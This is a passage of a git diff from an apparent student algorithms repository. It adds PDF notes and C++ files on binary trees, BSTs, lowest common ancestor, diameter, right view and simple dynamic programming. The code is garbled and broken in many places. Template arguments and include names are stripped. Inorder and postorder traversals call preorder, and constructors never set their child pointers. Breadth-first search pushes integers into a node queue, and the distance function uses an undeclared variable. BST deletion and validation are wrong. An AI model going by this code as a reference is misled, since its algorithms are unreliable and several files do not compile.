mode 100644 index 000000000..1700dd03f Binary files /dev/null and b/DSA/Competitive programming/Adv graphs/edmonds karp algorithm.pdf differ diff --git a/DSA/Competitive programming/Adv graphs/flow network.pdf b/DSA/Competitive programming/Adv graphs/flow network.pdf new file mode 100644 index 000000000..6a4d9ce90 Binary files /dev/null and b/DSA/Competitive programming/Adv graphs/flow network.pdf differ diff --git a/DSA/Competitive programming/Adv graphs/hopcraft-karp algorithm.pdf b/DSA/Competitive programming/Adv graphs/hopcraft-karp algorithm.pdf new file mode 100644 index 000000000..7f0ff6893 Binary files /dev/null and b/DSA/Competitive programming/Adv graphs/hopcraft-karp algorithm.pdf differ diff --git a/DSA/Competitive programming/Adv graphs/kirchoff's theorem.pdf b/DSA/Competitive programming/Adv graphs/kirchoff's theorem.pdf new file mode 100644 index 000000000..a04526f5c Binary files /dev/null and b/DSA/Competitive programming/Adv graphs/kirchoff's theorem.pdf differ diff --git a/DSA/Competitive programming/Adv graphs/maxflow solution.pdf b/DSA/Competitive programming/Adv graphs/maxflow solution.pdf new file mode 100644 index 000000000..63350eaa7 Binary files /dev/null and b/DSA/Competitive programming/Adv graphs/maxflow solution.pdf differ diff --git a/DSA/Competitive programming/Adv graphs/practice problems.pdf b/DSA/Competitive programming/Adv graphs/practice problems.pdf new file mode 100644 index 000000000..77ccae3cc Binary files /dev/null and b/DSA/Competitive programming/Adv graphs/practice problems.pdf differ diff --git a/DSA/Competitive programming/Adv graphs/strongly connected components.pdf b/DSA/Competitive programming/Adv graphs/strongly connected components.pdf new file mode 100644 index 000000000..2c305c7db Binary files /dev/null and b/DSA/Competitive programming/Adv graphs/strongly connected components.pdf differ diff --git a/DSA/Competitive programming/Bit manipulation/Bit manipulation methods.pdf b/DSA/Competitive programming/Bit manipulation/Bit manipulation methods.pdf new file mode 100644 index 000000000..0033636c9 Binary files /dev/null and b/DSA/Competitive programming/Bit manipulation/Bit manipulation methods.pdf differ diff --git a/DSA/Competitive programming/Bit manipulation/Bit manipulation.pdf b/DSA/Competitive programming/Bit manipulation/Bit manipulation.pdf new file mode 100644 index 000000000..74855193e Binary files /dev/null and b/DSA/Competitive programming/Bit manipulation/Bit manipulation.pdf differ diff --git a/DSA/Competitive programming/Bit manipulation/practice problems.pdf b/DSA/Competitive programming/Bit manipulation/practice problems.pdf new file mode 100644 index 000000000..0394d1acc Binary files /dev/null and b/DSA/Competitive programming/Bit manipulation/practice problems.pdf differ diff --git a/DSA/Competitive programming/C++ STL.pdf b/DSA/Competitive programming/C++ STL.pdf new file mode 100644 index 000000000..ada87506b Binary files /dev/null and b/DSA/Competitive programming/C++ STL.pdf differ diff --git a/DSA/Competitive programming/Complexity analysis/space complexity.pdf b/DSA/Competitive programming/Complexity analysis/space complexity.pdf new file mode 100644 index 000000000..5b0fbae99 Binary files /dev/null and b/DSA/Competitive programming/Complexity analysis/space complexity.pdf differ diff --git a/DSA/Competitive programming/Complexity analysis/time complexity.pdf b/DSA/Competitive programming/Complexity analysis/time complexity.pdf new file mode 100644 index 000000000..95cba744d Binary files /dev/null and b/DSA/Competitive programming/Complexity analysis/time complexity.pdf differ diff --git a/DSA/Competitive programming/DP/DP with bitmasking.pdf b/DSA/Competitive programming/DP/DP with bitmasking.pdf new file mode 100644 index 000000000..78a4da331 Binary files /dev/null and b/DSA/Competitive programming/DP/DP with bitmasking.pdf differ diff --git a/DSA/Competitive programming/DP/DP with graphs.pdf b/DSA/Competitive programming/DP/DP with graphs.pdf new file mode 100644 index 000000000..4dc1a0f88 Binary files /dev/null and b/DSA/Competitive programming/DP/DP with graphs.pdf differ diff --git a/DSA/Competitive programming/DP/DP with tress.pdf b/DSA/Competitive programming/DP/DP with tress.pdf new file mode 100644 index 000000000..c495d4736 Binary files /dev/null and b/DSA/Competitive programming/DP/DP with tress.pdf differ diff --git a/DSA/Competitive programming/DP/Dynamic programming.pdf b/DSA/Competitive programming/DP/Dynamic programming.pdf new file mode 100644 index 000000000..0b2c7fe28 Binary files /dev/null and b/DSA/Competitive programming/DP/Dynamic programming.pdf differ diff --git a/DSA/Competitive programming/DP/digit DP.pdf b/DSA/Competitive programming/DP/digit DP.pdf new file mode 100644 index 000000000..40e514f89 Binary files /dev/null and b/DSA/Competitive programming/DP/digit DP.pdf differ diff --git a/DSA/Competitive programming/DP/practice problems-2.pdf b/DSA/Competitive programming/DP/practice problems-2.pdf new file mode 100644 index 000000000..8f5ad0c58 Binary files /dev/null and b/DSA/Competitive programming/DP/practice problems-2.pdf differ diff --git a/DSA/Competitive programming/DP/practice problems.pdf b/DSA/Competitive programming/DP/practice problems.pdf new file mode 100644 index 000000000..006c17285 Binary files /dev/null and b/DSA/Competitive programming/DP/practice problems.pdf differ diff --git a/DSA/Competitive programming/Graphs/BFS.pdf b/DSA/Competitive programming/Graphs/BFS.pdf new file mode 100644 index 000000000..eb5a7f243 Binary files /dev/null and b/DSA/Competitive programming/Graphs/BFS.pdf differ diff --git a/DSA/Competitive programming/Graphs/DFS.pdf b/DSA/Competitive programming/Graphs/DFS.pdf new file mode 100644 index 000000000..3103e8ea3 Binary files /dev/null and b/DSA/Competitive programming/Graphs/DFS.pdf differ diff --git a/DSA/Competitive programming/Graphs/DiagonalTraversalInTree.cpp b/DSA/Competitive programming/Graphs/DiagonalTraversalInTree.cpp new file mode 100644 index 000000000..cff0ee53b --- /dev/null +++ b/DSA/Competitive programming/Graphs/DiagonalTraversalInTree.cpp @@ -0,0 +1,79 @@ +#include +using namespace std; + +struct Node +{ + int data; + struct Node * left; + struct Node * right; +}; +Node* root = NULL; + +// Utility function to create a new Tree Node +Node* newNode(int val) +{ + Node *temp = new Node; + temp->data = val; + temp->left = NULL; + temp->right = NULL; + + return temp; +} + +// Function to insert item in a tree +void insertItem(int item) +{ + Node *newnode = newNode(item); + if(!root) { + root = newnode; + return; + } + Node *cur, *prev; + cur = root; + while(cur!= NULL) { + prev = cur; + if(cur->data > item) + cur = cur->left; + else + cur = cur->right; + } + if(prev->data > item) + prev->left = newnode; + else + prev->right = newnode; +} + +vector diagonal(Node *root) +{ + // your code here + vector ans; + queue q; + q.push(root); + while(!q.empty()){ + Node *t=q.front(); + while(t){ + ans.push_back(t->data); + if(t->left) + q.push(t->left); + t=t->right; + } + q.pop(); + } + return ans; +} + +int main() +{ + int n; + cin>>n; + int arr[n]; + for(int i = 0; i < n; i++) { + cin>>arr[i]; + insertItem(arr[i]); + } + vector ans = diagonal(root); + for(int i = 0; i < ans.size(); i++) { + cout< +#include +using namespace std; + +#define for0(i, n) for (int i = 0; i < (int)(n); ++i) // 0 based indexing +#define for1(i, n) for (int i = 1; i <= (int)(n); ++i) // 1 based indexing +#define forr0(i, n) for (int i = (int)(n) - 1; i >= 0; --i) // reverse 0 based. +#define forr1(i, n) for (int i = (int)(n); i >= 1; --i) // reverse 1 based + +//short hand for usual tokens +#define pb push_back +#define fi first +#define se second + +// Avoiding wrap around of size()-1 where size is a unsigned int. +#define sz(a) int((a).size()) +#define cn(n) cout< vi; +typedef vector vvi; +typedef pair pii; +typedef long long ll; +typedef vector vll; +typedef vector vvll; +typedef double dl; + +/*----------------------------------------------------------------------------------------------------------*/ +/*workspace */ + +int main() { + ios::sync_with_stdio(false); + cin.tie(0); + cout.precision(10); + cout << fixed; + /*-------------------------------WRITE YOUR FUCKING CODE HEER-------------------------------------------*/ + + +} + +/*@dev7omprakash*/ diff --git a/DSA/Competitive programming/practice problems (misc).pdf b/DSA/Competitive programming/practice problems (misc).pdf new file mode 100644 index 000000000..7bea6fe55 Binary files /dev/null and b/DSA/Competitive programming/practice problems (misc).pdf differ diff --git a/DSA/DP/fibonacci.cpp b/DSA/DP/fibonacci.cpp new file mode 100644 index 000000000..da33ad533 --- /dev/null +++ b/DSA/DP/fibonacci.cpp @@ -0,0 +1,50 @@ +#include +using namespace std; + +//recursive solution +// int fib(int n) +// { +// int ans; +// if(n<=1) +// return n; + +// return ans=fib(n-1)+fib(n-2); //recurrence relation +// } + +// int main() +// { +// /* code */ + +// int n; +// cin>>n; + +// cout<>n; + + int dp[100]={0}; + cout< +#include +using namespace std; + +/*3 options: +1) n/3 +2) n/2 +3) n-- +*/ + +int minSteps(int n,int dp[]) +{ + int op1,op2,op3; + op1=op2=op3=INT_MAX; + + if(n==1) + return 0; + + if(dp[n]!=0) + return dp[n]; + + //first case + if(n%3==0) + op1=minSteps(n/3,dp); + + //second case + if(n%2==0) + op2=minSteps(n/2,dp); + + //third case + op3=minSteps(n-1,dp); + + int ans; + ans=min(min(op1,op2),op3)+1; + + return dp[n]=ans; +} + +int main() +{ + int n; + cin>>n; + + int dp[100]={0}; + + cout< +using namespace std; + +class node{ +public: + int data; + node*right; + node*left; + + node(int d) + { + data=d; + node*right=NULL; + node*left=NULL; + } +}; + +node* build_tree() +{ + int d; + cin>>d; + if(d==-1) + return NULL; + node* root=new node(d); + root->right=build_tree(); + root->left=build_tree(); + return root; +} + +void print(node*root) +{ + if(root==NULL) + return; + cout<data<<" ->"; + print(root->right); + print(root->left); +} + +void preorder(node*root) +{ + if(root==NULL) + return; + + //follow root left right + cout<data<<" "; + preorder(root->left); + preorder(root->right); +} + +void inorder(node*root) +{ + if(root==NULL) + return; + + //follow left root right + preorder(root->left); + cout<data<<" "; + preorder(root->right); +} + +void postorder(node*root) +{ + if(root==NULL) + return; + + //follow left right root + preorder(root->left); + preorder(root->right); + cout<data<<" "; +} + +int height(node*root) +{ + if(root==NULL) + return 0; + int left_size=height(root->left); + int right_size=height(root->right); + return max(left_size,right_size)+1; +} + +void levelorder(node*root,int k) +{ + if(root==NULL) + return; + if (k==1) + { + cout<data<<" "; + return; + } + levelorder(root->left,k-1); + levelorder(root->right,k-1); +} + +void bfs(node*root) +{ + queueq; + q.push(root->data); + while(!q.empty()) + { + node*f=q.front(); + cout<data<<" "; + q.pop(); + + //last node condition + if(f->left) + q.push(f->left); + if(f->right) + q.push(f->right); + } +} + +int main() +{ + node*root=build_tree(); + print(root); + inorder(root); + cout<<"\n"; + postorder(root); + cout<<"\n"; + height(root); + cout<<"\n"; + + + return 0; +} \ No newline at end of file diff --git a/DSA/DSA-VIT/BSTs/BST.cpp b/DSA/DSA-VIT/BSTs/BST.cpp new file mode 100644 index 000000000..5df788c17 --- /dev/null +++ b/DSA/DSA-VIT/BSTs/BST.cpp @@ -0,0 +1,131 @@ +#include +using namespace std; + +class node +{ +public: + int data; + node*left; + node*right; + node(int d) + { + data=d; + left=NULL; + right=NULL; + } + +}; + +node* insert(node*root,int data) +{ + if(root==NULL){ + return root=new node(data);} + if(datadata) + { + root->left=insert(root->left,data); + } + else + root->right=insert(root->right,data); + return root; +} + +bool search(node*root,int data) +{ + if(root==NULL) + return false; + else if(datadata) + return search(root->left,data); + else + return search(root->right,data); + return true; +} + +node* delete_node(node*root,int data) +{ + if(root==NULL) + return NULL; + else if(datadata) + return delete_node(root->left,data); + + //3 cases + else if(data==root->data) + { + //for leaf node + if(root->left==NULL and root->right==NULL) + { + delete root; + return NULL; + } + + //for node having 1 child + if(root->left!=NULL and root->right==NULL) + { + + //store root's left child in a temporary node + node*temp=root->left; + delete root; + return temp; + } + if(root->left==NULL and root->right!=NULL) + { + node*temp=root->right; + delete root; + return temp; + } + + //for 2 child node + node* replace=root->right; + while(root->left!=NULL) + replace=replace->left; + replace->data=root->data; + root->right=delete_node(root->right,replace->data); + return root; + } + + else + return delete_node(root->right,data); +} + +bool is_BST(node*root,int min=INT_MIN,int max=INT_MAX) +{ + if(root==NULL) + return false; + if(root->datadata>max and is_BST(root->left,min,root->data) and is_BST(root->right,root->data,max)) + { + return true; + } + return false; +} + +node* build() +{ + int d; + cin>>d; + node*root=NULL; + + while(d!=-1) + { + root=insert(root,d); + cin>>d; + } + return root; +} + +void print(node*root) +{ + if(root==NULL) + return; + + cout<data<<" ->"; + print(root->left); + print(root->right); +} + +int main() +{ + node *root=build(); + // build(); + print(root); + + return 0; +} \ No newline at end of file diff --git a/DSA/DSA-VIT/BSTs/LCA.cpp b/DSA/DSA-VIT/BSTs/LCA.cpp new file mode 100644 index 000000000..60882452f --- /dev/null +++ b/DSA/DSA-VIT/BSTs/LCA.cpp @@ -0,0 +1,219 @@ +#include +using namespace std; + +class node{ +public: + int data; + node*right; + node*left; + + node(int d) + { + data=d; + node*right=NULL; + node*left=NULL; + } +}; + +node* build_tree() +{ + int d; + cin>>d; + if(d==-1) + return NULL; + node* root=new node(d); + root->right=build_tree(); + root->left=build_tree(); + return root; +} + +void print(node*root) +{ + if(root==NULL) + return; + cout<data<<" ->"; + print(root->right); + print(root->left); +} + +void preorder(node*root) +{ + if(root==NULL) + return; + + //follow root left right + cout<data<<" "; + preorder(root->left); + preorder(root->right); +} + +void inorder(node*root) +{ + if(root==NULL) + return; + + //follow left root right + preorder(root->left); + cout<data<<" "; + preorder(root->right); +} + +void postorder(node*root) +{ + if(root==NULL) + return; + + //follow left right root + preorder(root->left); + preorder(root->right); + cout<data<<" "; +} + +int height(node*root) +{ + if(root==NULL) + return 0; + int left_size=height(root->left); + int right_size=height(root->right); + return max(left_size,right_size)+1; +} + +void levelorder(node*root,int k) +{ + if(root==NULL) + return; + if (k==1) + { + cout<data<<" "; + return; + } + levelorder(root->left,k-1); + levelorder(root->right,k-1); +} + +void bfs(node*root) +{ + queueq; + q.push(root->data); + while(!q.empty()) + { + node*f=q.front(); + cout<data<<" "; + q.pop(); + + //last node condition + if(f->left) + q.push(f->left); + if(f->right) + q.push(f->right); + } +} + +int no_nodes(node*root) +{ + if(root==NULL) + return 0; + return (no_nodes(root->left)+no_nodes(root->right)+1); +} + +int sum_nodes(node*root) +{ + if(root==NULL) + return 0; + return (sum_nodes(root->left)+sum_nodes(root->right)+1); +} + +int diameter(node*root) +{ + if(root==NULL) + return 0; + + int h1=height(root->left); + int h2=height(root->right); + int case1=h1+h2; + int case2=diameter(root->left); + int case3=diameter(root->right); + + return max(case1,max(case2,case3)); +} + +node* array_tree(int *arr,int start,int end) +{ + int mid=(start+end)/2; + if(start>end) + return NULL; + + //making mid element of an array as a root + node* root=new node(arr[mid]); + root->left=array_tree(arr,start,mid-1); + root->right=array_tree(arr,start,mid+1); + return root; +} + +//using preorder and inorder traversal +node* traversaltree(int *pre, int *in,int start,int end) +{ + int i=0,index=-1; + if(start>end) + return NULL; + node*root=new node(pre[i]); + + for(int j=start;jleft=traversaltree(pre,in,start,index-1); + root->right=traversaltree(pre,in,index+1,end); + return root; +} + +void right_view(node*root,int curr_level,int max_level) +{ + if(root==NULL) + return; + if(max_leveldata<<" "; + max_level=curr_level; + } + + right_view(root->right,curr_level+1,max_level); + right_view(root->left,curr_level+1,max_level); +} + +node* lca(node*root,int a,int b) +{ + if(root==NULL) + return NULL; + if(root->data==a or root->data==b) + return root; + + node*l=lca(root->left,a,b); + node*r=lca(root->right,a,b); + + if(l!=NULL and r!=NULL) + return root; + if(l!=NULL) + return l; + return r; +} + +int main() +{ + node*root=build_tree(); + print(root); + inorder(root); + cout<<"\n"; + postorder(root); + cout<<"\n"; + height(root); + cout<<"\n"; + + + return 0; +} \ No newline at end of file diff --git a/DSA/DSA-VIT/BSTs/array.cpp b/DSA/DSA-VIT/BSTs/array.cpp new file mode 100644 index 000000000..81439c996 --- /dev/null +++ b/DSA/DSA-VIT/BSTs/array.cpp @@ -0,0 +1,166 @@ +#include +using namespace std; + +class node{ +public: + int data; + node*right; + node*left; + + node(int d) + { + data=d; + node*right=NULL; + node*left=NULL; + } +}; + +node* build_tree() +{ + int d; + cin>>d; + if(d==-1) + return NULL; + node* root=new node(d); + root->right=build_tree(); + root->left=build_tree(); + return root; +} + +void print(node*root) +{ + if(root==NULL) + return; + cout<data<<" ->"; + print(root->right); + print(root->left); +} + +void preorder(node*root) +{ + if(root==NULL) + return; + + //follow root left right + cout<data<<" "; + preorder(root->left); + preorder(root->right); +} + +void inorder(node*root) +{ + if(root==NULL) + return; + + //follow left root right + preorder(root->left); + cout<data<<" "; + preorder(root->right); +} + +void postorder(node*root) +{ + if(root==NULL) + return; + + //follow left right root + preorder(root->left); + preorder(root->right); + cout<data<<" "; +} + +int height(node*root) +{ + if(root==NULL) + return 0; + int left_size=height(root->left); + int right_size=height(root->right); + return max(left_size,right_size)+1; +} + +void levelorder(node*root,int k) +{ + if(root==NULL) + return; + if (k==1) + { + cout<data<<" "; + return; + } + levelorder(root->left,k-1); + levelorder(root->right,k-1); +} + +void bfs(node*root) +{ + queueq; + q.push(root->data); + while(!q.empty()) + { + node*f=q.front(); + cout<data<<" "; + q.pop(); + + //last node condition + if(f->left) + q.push(f->left); + if(f->right) + q.push(f->right); + } +} + +int no_nodes(node*root) +{ + if(root==NULL) + return 0; + return (no_nodes(root->left)+no_nodes(root->right)+1); +} + +int sum_nodes(node*root) +{ + if(root==NULL) + return 0; + return (sum_nodes(root->left)+sum_nodes(root->right)+1); +} + +int diameter(node*root) +{ + if(root==NULL) + return 0; + + int h1=height(root->left); + int h2=height(root->right); + int case1=h1+h2; + int case2=diameter(root->left); + int case3=diameter(root->right); + + return max(case1,max(case2,case3)); +} + +node* array_tree(int *arr,int start,int end) +{ + int mid=(start+end)/2; + if(start>end) + return NULL; + + //making mid element of an array as a root + node* root=new node(arr[mid]); + root->left=array_tree(arr,start,mid-1); + root->right=array_tree(arr,start,mid+1); + return root; +} + +int main() +{ + node*root=build_tree(); + print(root); + inorder(root); + cout<<"\n"; + postorder(root); + cout<<"\n"; + height(root); + cout<<"\n"; + + + return 0; +} \ No newline at end of file diff --git a/DSA/DSA-VIT/BSTs/binary_tree.cpp b/DSA/DSA-VIT/BSTs/binary_tree.cpp new file mode 100644 index 000000000..15efa2567 --- /dev/null +++ b/DSA/DSA-VIT/BSTs/binary_tree.cpp @@ -0,0 +1,45 @@ +#include +using namespace std; + +class node{ +public: + int data; + node*right; + node*left; + + node(int d) + { + data=d; + node*right=NULL; + node*left=NULL; + } +}; + +node* build_tree() +{ + int d; + cin>>d; + if(d==-1) + return NULL; + node* root=new node(d); + root->right=build_tree(); + root->left=build_tree(); + return root; +} + +void print(node*root) +{ + if(root==NULL) + return; + cout<data<<" ->"; + print(root->right); + print(root->left); +} + +int main() +{ + node*root=build_tree(); + print(root); + + return 0; +} \ No newline at end of file diff --git a/DSA/DSA-VIT/BSTs/diameter.cpp b/DSA/DSA-VIT/BSTs/diameter.cpp new file mode 100644 index 000000000..17137701b --- /dev/null +++ b/DSA/DSA-VIT/BSTs/diameter.cpp @@ -0,0 +1,153 @@ +#include +using namespace std; + +class node{ +public: + int data; + node*right; + node*left; + + node(int d) + { + data=d; + node*right=NULL; + node*left=NULL; + } +}; + +node* build_tree() +{ + int d; + cin>>d; + if(d==-1) + return NULL; + node* root=new node(d); + root->right=build_tree(); + root->left=build_tree(); + return root; +} + +void print(node*root) +{ + if(root==NULL) + return; + cout<data<<" ->"; + print(root->right); + print(root->left); +} + +void preorder(node*root) +{ + if(root==NULL) + return; + + //follow root left right + cout<data<<" "; + preorder(root->left); + preorder(root->right); +} + +void inorder(node*root) +{ + if(root==NULL) + return; + + //follow left root right + preorder(root->left); + cout<data<<" "; + preorder(root->right); +} + +void postorder(node*root) +{ + if(root==NULL) + return; + + //follow left right root + preorder(root->left); + preorder(root->right); + cout<data<<" "; +} + +int height(node*root) +{ + if(root==NULL) + return 0; + int left_size=height(root->left); + int right_size=height(root->right); + return max(left_size,right_size)+1; +} + +void levelorder(node*root,int k) +{ + if(root==NULL) + return; + if (k==1) + { + cout<data<<" "; + return; + } + levelorder(root->left,k-1); + levelorder(root->right,k-1); +} + +void bfs(node*root) +{ + queueq; + q.push(root->data); + while(!q.empty()) + { + node*f=q.front(); + cout<data<<" "; + q.pop(); + + //last node condition + if(f->left) + q.push(f->left); + if(f->right) + q.push(f->right); + } +} + +int no_nodes(node*root) +{ + if(root==NULL) + return 0; + return (no_nodes(root->left)+no_nodes(root->right)+1); +} + +int sum_nodes(node*root) +{ + if(root==NULL) + return 0; + return (sum_nodes(root->left)+sum_nodes(root->right)+1); +} + +int diameter(node*root) +{ + if(root==NULL) + return 0; + + int h1=height(root->left); + int h2=height(root->right); + int case1=h1+h2; + int case2=diameter(root->left); + int case3=diameter(root->right); + + return max(case1,max(case2,case3)); +} + +int main() +{ + node*root=build_tree(); + print(root); + inorder(root); + cout<<"\n"; + postorder(root); + cout<<"\n"; + height(root); + cout<<"\n"; + + + return 0; +} \ No newline at end of file diff --git a/DSA/DSA-VIT/BSTs/dist_bw_2_nodes.cpp b/DSA/DSA-VIT/BSTs/dist_bw_2_nodes.cpp new file mode 100644 index 000000000..ffb1292fc --- /dev/null +++ b/DSA/DSA-VIT/BSTs/dist_bw_2_nodes.cpp @@ -0,0 +1,237 @@ +#include +using namespace std; + +class node{ +public: + int data; + node*right; + node*left; + + node(int d) + { + data=d; + node*right=NULL; + node*left=NULL; + } +}; + +node* build_tree() +{ + int d; + cin>>d; + if(d==-1) + return NULL; + node* root=new node(d); + root->right=build_tree(); + root->left=build_tree(); + return root; +} + +void print(node*root) +{ + if(root==NULL) + return; + cout<data<<" ->"; + print(root->right); + print(root->left); +} + +void preorder(node*root) +{ + if(root==NULL) + return; + + //follow root left right + cout<data<<" "; + preorder(root->left); + preorder(root->right); +} + +void inorder(node*root) +{ + if(root==NULL) + return; + + //follow left root right + preorder(root->left); + cout<data<<" "; + preorder(root->right); +} + +void postorder(node*root) +{ + if(root==NULL) + return; + + //follow left right root + preorder(root->left); + preorder(root->right); + cout<data<<" "; +} + +int height(node*root) +{ + if(root==NULL) + return 0; + int left_size=height(root->left); + int right_size=height(root->right); + return max(left_size,right_size)+1; +} + +void levelorder(node*root,int k) +{ + if(root==NULL) + return; + if (k==1) + { + cout<data<<" "; + return; + } + levelorder(root->left,k-1); + levelorder(root->right,k-1); +} + +void bfs(node*root) +{ + queueq; + q.push(root->data); + while(!q.empty()) + { + node*f=q.front(); + cout<data<<" "; + q.pop(); + + //last node condition + if(f->left) + q.push(f->left); + if(f->right) + q.push(f->right); + } +} + +int no_nodes(node*root) +{ + if(root==NULL) + return 0; + return (no_nodes(root->left)+no_nodes(root->right)+1); +} + +int sum_nodes(node*root) +{ + if(root==NULL) + return 0; + return (sum_nodes(root->left)+sum_nodes(root->right)+1); +} + +int diameter(node*root) +{ + if(root==NULL) + return 0; + + int h1=height(root->left); + int h2=height(root->right); + int case1=h1+h2; + int case2=diameter(root->left); + int case3=diameter(root->right); + + return max(case1,max(case2,case3)); +} + +node* array_tree(int *arr,int start,int end) +{ + int mid=(start+end)/2; + if(start>end) + return NULL; + + //making mid element of an array as a root + node* root=new node(arr[mid]); + root->left=array_tree(arr,start,mid-1); + root->right=array_tree(arr,start,mid+1); + return root; +} + +//using preorder and inorder traversal +node* traversaltree(int *pre, int *in,int start,int end) +{ + int i=0,index=-1; + if(start>end) + return NULL; + node*root=new node(pre[i]); + + for(int j=start;jleft=traversaltree(pre,in,start,index-1); + root->right=traversaltree(pre,in,index+1,end); + return root; +} + +void right_view(node*root,int curr_level,int max_level) +{ + if(root==NULL) + return; + if(max_leveldata<<" "; + max_level=curr_level; + } + + right_view(root->right,curr_level+1,max_level); + right_view(root->left,curr_level+1,max_level); +} + +node* lca(node*root,int a,int b) +{ + if(root==NULL) + return NULL; + if(root->data==a or root->data==b) + return root; + + node*l=lca(root->left,a,b); + node*r=lca(root->right,a,b); + + if(l!=NULL and r!=NULL) + return root; + if(l!=NULL) + return l; + return r; +} + +int search(node*root,int key,int level) +{ + if(root==NULL) + return 0; + if(root->data==key) + return level; + int left=search(root->left,key,level+1); + return search(root->right,key,level+1); +} + +int dist(node*root,int a,int b) +{ + lca_node=lca(root,a,b); + int l1=search(lca_node,a,0); + int l2=search(lca_node,b,0); + return (l1+l2); +} + +int main() +{ + node*root=build_tree(); + print(root); + inorder(root); + cout<<"\n"; + postorder(root); + cout<<"\n"; + height(root); + cout<<"\n"; + + + return 0; +} \ No newline at end of file diff --git a/DSA/DSA-VIT/BSTs/height.cpp b/DSA/DSA-VIT/BSTs/height.cpp new file mode 100644 index 000000000..9055ddc2e --- /dev/null +++ b/DSA/DSA-VIT/BSTs/height.cpp @@ -0,0 +1,107 @@ +#include +using namespace std; + +class node{ +public: + int data; + node*right; + node*left; + + node(int d) + { + data=d; + node*right=NULL; + node*left=NULL; + } +}; + +node* build_tree() +{ + int d; + cin>>d; + if(d==-1) + return NULL; + node* root=new node(d); + root->right=build_tree(); + root->left=build_tree(); + return root; +} + +void print(node*root) +{ + if(root==NULL) + return; + cout<data<<" ->"; + print(root->right); + print(root->left); +} + +void preorder(node*root) +{ + if(root==NULL) + return; + + //follow root left right + cout<data<<" "; + preorder(root->left); + preorder(root->right); +} + +void inorder(node*root) +{ + if(root==NULL) + return; + + //follow left root right + preorder(root->left); + cout<data<<" "; + preorder(root->right); +} + +void postorder(node*root) +{ + if(root==NULL) + return; + + //follow left right root + preorder(root->left); + preorder(root->right); + cout<data<<" "; +} + +int height(node*root) +{ + if(root==NULL) + return 0; + int left_size=height(root->left); + int right_size=height(root->right); + return max(left_size,right_size)+1; +} + +void levelorder(node*root,int k) +{ + if(root==NULL) + return; + if (k==1) + { + cout<data<<" "; + return; + } + levelorder(root->left,k-1); + levelorder(root->right,k-1); +} + +int main() +{ + node*root=build_tree(); + print(root); + inorder(root); + cout<<"\n"; + postorder(root); + cout<<"\n"; + height(root); + cout<<"\n"; + + + return 0; +} \ No newline at end of file diff --git a/DSA/DSA-VIT/BSTs/right_view.cpp b/DSA/DSA-VIT/BSTs/right_view.cpp new file mode 100644 index 000000000..7370b893a --- /dev/null +++ b/DSA/DSA-VIT/BSTs/right_view.cpp @@ -0,0 +1,202 @@ +#include +using namespace std; + +class node{ +public: + int data; + node*right; + node*left; + + node(int d) + { + data=d; + node*right=NULL; + node*left=NULL; + } +}; + +node* build_tree() +{ + int d; + cin>>d; + if(d==-1) + return NULL; + node* root=new node(d); + root->right=build_tree(); + root->left=build_tree(); + return root; +} + +void print(node*root) +{ + if(root==NULL) + return; + cout<data<<" ->"; + print(root->right); + print(root->left); +} + +void preorder(node*root) +{ + if(root==NULL) + return; + + //follow root left right + cout<data<<" "; + preorder(root->left); + preorder(root->right); +} + +void inorder(node*root) +{ + if(root==NULL) + return; + + //follow left root right + preorder(root->left); + cout<data<<" "; + preorder(root->right); +} + +void postorder(node*root) +{ + if(root==NULL) + return; + + //follow left right root + preorder(root->left); + preorder(root->right); + cout<data<<" "; +} + +int height(node*root) +{ + if(root==NULL) + return 0; + int left_size=height(root->left); + int right_size=height(root->right); + return max(left_size,right_size)+1; +} + +void levelorder(node*root,int k) +{ + if(root==NULL) + return; + if (k==1) + { + cout<data<<" "; + return; + } + levelorder(root->left,k-1); + levelorder(root->right,k-1); +} + +void bfs(node*root) +{ + queueq; + q.push(root->data); + while(!q.empty()) + { + node*f=q.front(); + cout<data<<" "; + q.pop(); + + //last node condition + if(f->left) + q.push(f->left); + if(f->right) + q.push(f->right); + } +} + +int no_nodes(node*root) +{ + if(root==NULL) + return 0; + return (no_nodes(root->left)+no_nodes(root->right)+1); +} + +int sum_nodes(node*root) +{ + if(root==NULL) + return 0; + return (sum_nodes(root->left)+sum_nodes(root->right)+1); +} + +int diameter(node*root) +{ + if(root==NULL) + return 0; + + int h1=height(root->left); + int h2=height(root->right); + int case1=h1+h2; + int case2=diameter(root->left); + int case3=diameter(root->right); + + return max(case1,max(case2,case3)); +} + +node* array_tree(int *arr,int start,int end) +{ + int mid=(start+end)/2; + if(start>end) + return NULL; + + //making mid element of an array as a root + node* root=new node(arr[mid]); + root->left=array_tree(arr,start,mid-1); + root->right=array_tree(arr,start,mid+1); + return root; +} + +//using preorder and inorder traversal +node* traversaltree(int *pre, int *in,int start,int end) +{ + int i=0,index=-1; + if(start>end) + return NULL; + node*root=new node(pre[i]); + + for(int j=start;jleft=traversaltree(pre,in,start,index-1); + root->right=traversaltree(pre,in,index+1,end); + return root; +} + +void right_view(node*root,int curr_level,int max_level) +{ + if(root==NULL) + return; + if(max_leveldata<<" "; + max_level=curr_level; + } + + right_view(root->right,curr_level+1,max_level); + right_view(root->left,curr_level+1,max_level); +} + +int main() +{ + node*root=build_tree(); + print(root); + inorder(root); + cout<<"\n"; + postorder(root); + cout<<"\n"; + height(root); + cout<<"\n"; + + + return 0; +} \ No newline at end of file diff --git a/DSA/DSA-VIT/BSTs/sum_of_nodes.cpp b/DSA/DSA-VIT/BSTs/sum_of_nodes.cpp new file mode 100644 index 000000000..3195b345f --- /dev/null +++ b/DSA/DSA-VIT/BSTs/sum_of_nodes.cpp @@ -0,0 +1,139 @@ +#include +using namespace std; + +class node{ +public: + int data; + node*right; + node*left; + + node(int d) + { + data=d; + node*right=NULL; + node*left=NULL; + } +}; + +node* build_tree() +{ + int d; + cin>>d; + if(d==-1) + return NULL; + node* root=new node(d); + root->right=build_tree(); + root->left=build_tree(); + return root; +} + +void print(node*root) +{ + if(root==NULL) + return; + cout<data<<" ->"; + print(root->right); + print(root->left); +} + +void preorder(node*root) +{ + if(root==NULL) + return; + + //follow root left right + cout<data<<" "; + preorder(root->left); + preorder(root->right); +} + +void inorder(node*root) +{ + if(root==NULL) + return; + + //follow left root right + preorder(root->left); + cout<data<<" "; + preorder(root->right); +} + +void postorder(node*root) +{ + if(root==NULL) + return; + + //follow left right root + preorder(root->left); + preorder(root->right); + cout<data<<" "; +} + +int height(node*root) +{ + if(root==NULL) + return 0; + int left_size=height(root->left); + int right_size=height(root->right); + return max(left_size,right_size)+1; +} + +void levelorder(node*root,int k) +{ + if(root==NULL) + return; + if (k==1) + { + cout<data<<" "; + return; + } + levelorder(root->left,k-1); + levelorder(root->right,k-1); +} + +void bfs(node*root) +{ + queueq; + q.push(root->data); + 